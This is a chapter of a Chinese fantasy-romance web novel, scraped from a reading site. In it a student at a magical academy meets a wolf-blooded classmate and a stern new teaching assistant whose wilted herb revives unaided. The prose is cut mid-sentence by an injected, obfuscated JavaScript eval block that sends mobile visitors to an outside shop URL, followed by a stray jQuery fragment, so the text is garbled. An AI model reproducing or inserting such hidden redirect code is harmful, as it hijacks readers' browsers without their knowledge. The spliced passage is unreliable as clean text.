文趣网 > 其他小说 > 入梦修罗场,但我脸盲 > 2. 希弗尔
    “滴滴——”

    校车到站提示,乘客下车,刚醒来的束香懵懵地坐了会。

    梦境里丰富真实的色彩声音消散,视野重现被模糊暗淡的世界填满,像是眼前加了层灰色滤镜。

    她不太适宜地甩了下头,起身跟在人群后下车。

    脑中还回想着梦里的泽斐拉,他如果真是神岛学院的学生,凭着那张帅脸,应该会是学院里的风云人物吧。

    束香决定上学院论坛查一查,看有没有他的信息。

    这么一分心,束香没注意到站台台阶,脚下一绊,眼见就要扑到地上。

    忽然。

    她胡乱扑腾的胳膊被一只小麦色的手掌抓住。

    极有力且温度灼热的一只手,瞬间拉住束香失衡的身体,几乎将她生生提起来。

    束香在那只手的帮助下,晃了晃身体站稳。

    被抓住的胳膊皮肤处泛起疼痛感,她下意识轻嘶了声,抬起脸。

    那只手的主人长得很高,身材高大挺拔,站在束香面前有种挡住日光的遮蔽感。

    凌乱的白发短发,刺而散乱。

    眉毛浓黑下压,半遮住一双灰蓝色的桀骜眼瞳。

    深麦色的皮肤健康活力,硬朗脸庞带着张扬的少年气,年轻又野性。

    束香眼睛睁大了些,虽然画质受损,色彩暗淡,但也看得出少年长相格外优越。

    尤其是那双眼睛,在她一片暗色的世界里,亮得惊人。

    “……谢谢。”

    束香后知后觉地道谢。

    少年收回手,眼睛定定看着她的脸。

    莫名让束香想起猫狗集中注意力,瞪圆眼睛攻击前的样子。

    看他没有说话的意思,束香捂着被抓疼的手臂,礼貌地点了下头,准备离开。

    少年鼻尖突然耸动了下:“你有没有闻到什么味道?”

    束香:“嗯?”

    她在空气里嗅了几下,无奈天生薄弱的感知力给不了她丝毫帮助。

    少年歪了下头,朝她靠近了些,蓝灰瞳仁放大。

    “……好香。”

    他嗓音微哑,甚至吞了下口水。

    “嗐,我刚吃了鸡蛋灌饼,”束香明白过来,热情地介绍道,“是女寝站台右手边那家,下次你可以去尝尝。”

    说着,她看了眼时间。

    “呀,快迟到了,”束香转身就跑,不忘补充一句,“谢谢你!”

    不止是谢他拉住她,让她免了一跤,更感谢他和她聊天。

    由于束香成谜的存在感,这种和陌生人随口聊两句的情况,对她来说很新鲜,会让她心情变好。

    束香跑远,背后书包拉链没拉,跑动时一甩一甩。

    少年站在原地,望着她的背影远去,鼻尖又耸动了下,眉宇间浮现一抹疑惑。

    那股香味变淡了。

    “洛顿,你在这做什么,狩猎学生?”

    一道略带恶意的调笑声响起。

    洛顿不用回头,就能闻到那股魅魔特有的靡香气味。

    这种味道能轻易迷惑普通人的心智,让他们变成魅魔手底下最听话的玩具。

    洛顿觉察力灵敏,轻而易举地发现那句话带着魔力,意图引诱出他狩猎的天性。

    如果他真如魅魔所愿,在外岛狩猎学生,起码要被关进地牢十年。

    “你找死?”

    洛顿不耐烦地拧脖子,眉头压下来,微微弓腰,浑身散发出浓郁的战斗欲。

    银巨狼种族天生好斗,尤其是年轻的小狼。

    红发粉瞳的泽斐拉停在站台另一侧,和他隔着一段安全距离。

    如同偶然碰面的大型野兽不会轻易靠近,一旦跨过某条线,就是战斗爆发的信号。

    “别冒火啊,我今天可不是来跟你打架的。”

    泽斐拉随手整理了下光滑繁复的锻面衬衣,看向校车站台上的电子屏。

    上一趟校车刚离开,下一趟校车还有二十分钟到。

    泽斐拉缓缓皱眉,他似乎错过了那趟校车。

    也就是说,那个三番五次进入他梦境,对他的靡香完全免疫,还不肯告诉他名字的女孩刚刚离开。

    泽斐拉脸挂着的笑淡下来,啧了声。

    见他不笑了,洛顿心情好了些:“你来这做什么?”

    “我啊,”泽斐拉笑意轻浮,“来找我的小主人玩啊。”

    洛顿难掩嫌恶,几乎要捂住鼻子,确认道:“人类?”

    泽斐拉耸肩,强调道:“一个非常可爱的人类。”

    “你居然偷偷食用人类,我要让希弗尔把你关进地牢!”

    洛顿转身飞掠而去,身形快出残影,往学院中心岛奔去。

    风声高速划过耳畔,吹开洛顿额前凌乱的白发。

    人类……

    他忽而想起公交站台那个女孩。

    神使鬼差地,洛顿抬起那只扶过她的手,低头轻嗅了下指尖。

    一瞬间,他停住脚步,瞳孔生理性地兴奋放大。

    就是这个味道!

    指间来自人类女孩的香气,只剩下极浅淡的一缕,若有若无地勾动他的神经。

    如果不是他血脉特殊,绝对察觉不到这点残留浮动的香气。

    洛顿捧着自己的手,鼻尖快速耸动,一下一下地来回嗅着。

    直到将最后一缕香气吸入肺部,他才如梦初醒地回神,动作瞬间僵硬。

    洛顿不可置信地看着自己的手。

    他都做了些什么?

    他最讨厌自己像条狗一样,到处乱闻。

    “叮铃铃——”

    束香压着上课铃进了教室,找到角落位置坐好,压低声音喘气,平复呼吸。

    她入学被分配到灵植院,但凡灵植院的课程都是她的专业课,迟到早退都是要扣学分的。

    束香刚开始对灵植院这个名字很困惑,不知道是做什么的,上过几次课之后她明白了,是种地的。

    种地学院起的名字还挺高级,或许这就是城里人的风格吧。

    束香挂好书包,掏出课本,放到桌上。

    说是教室,其实更像是实验室,桌上摆着各种稀奇古怪的器具和土壤,还有一株蔫巴的小草。

    束香探头探脑,观察其余同学桌上的小草,看到大家的草都一样蔫巴,她就放心了。

    老师怎么还不来?

    一个坐在门边的同学忽然扬声道:“我去,好像是新老师!”

    同学们顿时伸长脖子张望,束香也好奇地看向门口。

    金属把手下压,深绿色大门推开,一道颀长身影迈步而入。

    最先映入眼帘的是他长至腰际的灿烂金发,熠熠耀目,让人联想到某些古老神秘传说中黄金般的日光和长河。

    微风轻轻吹动他微微卷曲的长发,露出额前典雅端庄的黄金宝石额饰。

    在一众吸气声中,他不急不缓地行走,仿佛遵循着某种不为人知的礼仪韵律。

    空气似乎都凝固了。

    同学们瞪大双眼,不敢轻易呼吸,像是一口气就让眼前天使似的人物消失不见。

    来人走上讲台,转身面向学生,嘴角带着浅而温和的笑意。

    带着金色纹路的铅灰眼瞳微弯,有种强烈的非人感。可他的面容实在俊美无匹,反而散发出一种颇有感染力的圣洁。

    “你们好,我是灵植院这个月的代课学长,希弗尔。”

    他看起来很年轻,相貌又如此英俊,不免令同学们躁动起来。

    有人交头接耳,低低的议论声在安静教室里很明显。

    希弗尔手指轻敲桌面,语气温和而宽容。

    “请问,你们在说什么?”

    说话最大声的男学生被点名,见他脾气很好的样子,笑嘻嘻地说:“学长,你长得这么帅,是来上课还是来泡学妹的?”

    教室里响起几声笑,希弗尔也跟着笑了笑。

    男学生似乎也享受这种被关注的感觉,还想再贫几句。

    却见希弗尔慢条斯理地走下讲台,春风拂面般的表情,但那双颜色偏浅的灰

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17888260|212648||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    眼珠凝着着他,莫名叫人浑身一凛。

    男学生下意识收敛笑脸:“学长,我随口乱说的。”

    希弗尔颔首:“你叫什么名字?”

    男学生脸色难看起来,闭着嘴不回答。

    希弗尔瞳孔外圈细细的金环亮起,吐出两个字:“名字。”

    方才还不配合的男学生恍惚着回答:“我叫皮强。”

    “皮强灵植院学分扣除十九分。”

    束香一下子捂住嘴巴,生怕自己惊出吸气声,惹到这位面慈心狠的代课学长。

    十九分是什么概念。

    灵植院一整个学期的课程是二十学分,也就是说,剩下大半个学期,皮强必须顶着1学分的压力战战兢兢地学习,一不小心就可能挂科。

    束香听说,在神岛学院挂科,会面临很可怕的结果。

    小插曲过后,同学们乖巧极了,积极踊跃地听课回答问题。

    至于希弗尔,抛开他第一节课就几乎扣光学生学分外,他是个极有耐心的温柔老师,几乎把学生当做什么都不懂的小孩来教导,语言深入浅出,课堂氛围很好。

    束香听得很认真,这节课的主要内容是如何医治被污染的小芥草。

    她捏起桌上那株软趴趴的小草,小声地说:“原来你叫小芥草啊。”

    她点击桌面配备的电子屏,电子屏连接校园网,可以查询到当堂课程和图书馆的知识。

    她搜索小芥草的图文介绍,把相关知识都补充到课本上。

    课堂上所有人都抬头听讲,只有一个脑袋低着,正在讲课的希弗尔停住,点名:“最后一排的女同学?”

    大家刷刷回头,束香奋笔疾书。

    希弗尔:“最后一排右数第二位的女学生,请回答问题。”

    束香本来没当回事,毕竟她存在感超低,从小到大就算是举手,都会被老师忽略。更别说她还在埋头写字,根本不可能有人注意到她。

    突然,右手被拉了下。

    束香转头一看,靠窗的女学生探身过来,提醒她:“学长叫你呢。”

    “?”

    束香疑惑地抬起脸,这才发现整个教室的人都回头看她。

    而讲台上的希弗尔学长,正微笑着注视她。

    “……!”

    她已经来不及思考,为什么学长会注意到她,心里只剩下一个念头。

    完蛋,她的学分!

    束香唰地一下子站起来,紧张地解释:“对不起学长,我在做笔记,没听到你叫我。”

    阳光透过窗玻璃,折射在她脸上,照出光洁脸蛋上细小的绒毛。

    她乌黑透亮的眼睛焦急地望着他,希弗尔眉峰微抬起弧度。

    “这么认真,你的小芥草恢复活力了吗?”

    他语气淡淡,迈步走下讲台。

    上一次他扣除皮强学分时,也是这样。第二个倒霉蛋出现,皮强幸灾乐祸地笑。

    束香看向周围同学的桌面,这才发现他们的小芥草都种进了装满土壤的方格玻璃器皿中,看起来没那么颓废了。

    可她的草还躺在桌面上呢。

    要是被希弗尔发现,他没准会扣光她的学分。

    希弗尔闲庭信步,走到她面前,额饰闪闪发亮,姿态雍容优雅,看向她的桌面。

    “让我来看看,可怜的小芥草变成……”

    说到一半他顿住。

    “这怎么可能?”

    束香还沉浸在学分掉光的恐慌中,闻言低头,正看见那株趴在金属桌面上的小芥草,洗刷得干干净净的根系展开,叶片饱满翠绿,草杆直溜溜的,新鲜得滴水。

    她旁边的女同学探头,惊讶地说:“你的草怎么还没入土就活了?”

    束香也惊呆了。

    她什么都还没来得及做,甚至没把小芥草种到实验土壤里,它居然自己活了?

    希弗尔总是微微弯着的灰色眼瞳睁大,看向束香。

    束香茫然地同他对视。

    表情仿佛在说,我什么都不知道呀。